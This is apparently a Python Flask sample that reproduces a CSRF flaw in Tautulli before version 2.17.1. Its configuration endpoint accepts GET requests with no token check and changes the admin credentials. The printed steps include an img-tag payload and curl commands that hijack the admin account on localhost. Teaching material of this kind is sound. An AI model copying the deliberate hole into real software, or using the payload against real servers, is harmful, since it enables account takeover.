Vulnerable code sample

from flask import Flask, request, session, redirect, url_for, jsonify
from functools import wraps

# This is a simplified representation of the Tautulli application before the fix.
# It uses Flask to demonstrate the web application logic.

app = Flask(__name__)
# A secret key is required for session management in Flask.
app.secret_key = 'vulnerable-secret-key-for-demonstration'

# In-memory "database" to store the configuration, including admin credentials.
# In the real application, this would be a configuration file.
config_data = {
    'http_username': 'admin',
    'http_password': 'initial_secure_password'
}

def admin_required(f):
    """A decorator to ensure the user is a logged-in administrator."""
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not session.get('is_admin'):
            # In a real app, this might return a 401/403 error.
            # For simplicity, we'll just show an error message.
            return jsonify({"status": "error", "message": "Authentication required."}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/login', methods=['POST'])
def login():
    """A simplified login endpoint to simulate an admin session."""
    # This is not part of the vulnerability but is needed to set up the scenario.
    if request.form.get('username') == config_data['http_username'] and \
       request.form.get('password') == config_data['http_password']:
        session['is_admin'] = True
        return jsonify({"status": "success", "message": "Logged in as admin."})
    return jsonify({"status": "error", "message": "Invalid credentials."}), 403

# --- The Vulnerable Endpoint ---
# This endpoint represents the state of Tautulli prior to version 2.17.1.
@app.route('/configUpdate', methods=['GET', 'POST'])
@admin_required
def config_update():
    """
    VULNERABILITY: This endpoint is accessible via GET request.
    A GET request should be idempotent and not change server state.
    Because it accepts GET, it is vulnerable to Cross-Site Request Forgery (CSRF),
    as SameSite=Lax cookies are sent with top-level cross-site navigation requests.

    VULNERABILITY: There is no anti-CSRF token validation.
    """

    # The code incorrectly uses request.args for GET requests to fetch parameters
    # that will be used to modify the application's configuration.
    params = request.args if request.method == 'GET' else request.form

    new_username = params.get('http_username')
    new_password = params.get('http_password')

    if new_username:
        config_data['http_username'] = new_username
        print(f"[VULNERABLE ACTION] Admin username changed to: {new_username}")

    if new_password:
        config_data['http_password'] = new_password
        print(f"[VULNERABLE ACTION] Admin password changed to: {new_password}")

    # In a real application, this would save the changes to a config file.
    # An attacker can now log in with the new credentials.
    return jsonify({
        "status": "success",
        "message": "Configuration updated successfully.",
        "new_config_preview": {
            "http_username": config_data['http_username']
            # Password is not shown for security, but it was changed.
        }
    })

# Helper endpoint to check the current (potentially compromised) config.
@app.route('/status')
@admin_required
def status():
    return jsonify(config_data)

if __name__ == '__main__':
    print("Vulnerable Server Simulation")
    print("--------------------------")
    print("This server simulates the behavior of Tautulli < 2.17.1.")
    print("An admin session cookie is sent with SameSite=Lax by default.")
    print("The /configUpdate endpoint is vulnerable to CSRF via a GET request.")
    print("\nTo simulate the attack:")
    print("1. Simulate login (e.g., using curl):")
    print("   curl -X POST http://127.0.0.1:8080/login -d \"username=admin&password=initial_secure_password\" --cookie-jar cookie.txt")
    print("2. Lure the 'admin' to a malicious page, which makes this request in the background (e.g., via an img tag):")
    print("   <img src=\"http://127.0.0.1:8080/configUpdate?http_username=attacker&http_password=hacked\">")
    print("3. Simulate visiting the malicious URL with the admin's session cookie:")
    print("   curl \"http://127.0.0.1:8080/configUpdate?http_username=attacker&http_password=hacked\" --cookie cookie.txt")
    print("4. The attacker can now log in with username 'attacker' and password 'hacked'.")
    print("   curl -X POST http://127.0.0.1:8080/login -d \"username=attacker&password=hacked\"")

    app.run(host='0.0.0.0', port=8080)